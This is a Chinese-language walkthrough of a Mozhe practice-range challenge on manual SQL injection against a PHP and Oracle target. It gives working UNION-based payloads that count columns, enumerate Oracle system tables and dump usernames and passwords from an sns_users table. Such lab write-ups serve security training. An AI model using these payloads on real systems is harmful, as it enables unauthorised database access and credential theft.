墨者_SQL手工注入漏洞測試(Oracle資料庫)
靶場:
https://www.mozhe.cn/bug/detail/M2dRRXJqN3RqWnhvTGRTK1JJdjk5dz09bW96aGUmozhe
背景介紹
安全工程師"墨者"最近在練習SQL手工注入漏洞,自己剛搭建好一個靶場環境Apache+PHP+Oracle,PHP程式碼對客戶端提交的引數未做任何過濾。盡情的練習SQL手工注入吧。
實訓目標
1.掌握SQL注入原理;
2.瞭解手工注入的方法;
3.瞭解Oracle的資料結構;
4.瞭解字串的MD5加解密;
解題方向
手工進行SQL注入測試,獲取管理密碼登入。
解題思路:
1、找到注入點/new_list.php?id=1
2、判斷欄位數,此處是2
http://219.153.49.228:48612/new_list.php?id=1 order by 2 //頁面正常
http://219.153.49.228:48612/new_list.php?id=1 order by 3 //頁面為空
3、判斷回顯
?id=-1 union select '1','2' from dual
4、我們需要的是使用者的賬號密碼,因此直接查詢存在users字樣的表名
?id=-1 union select (select table_name from all_tables where rownum=1 and table_name like '%user%'),'null' from dual
5、獲取表中列名
?id=-1 union select (select column_name from all_tab_columns where rownum=1 and table_name='sns_users'),'null' from dual
?id=-1 union select (select column_name from all_tab_columns where rownum=1 and table_name='sns_users' and column_name not in ('USER_NAME')),'null' from dual
6、獲取資料
?id=-1 union select user_name,user_pwd from "sns_users"
?id=-1 union select user_name,user_pwd from "sns_users" where USER_NAME<>'hu'
得到兩組使用者名稱和密碼,第一組不行,第二組登入,得到key
mozhe/926173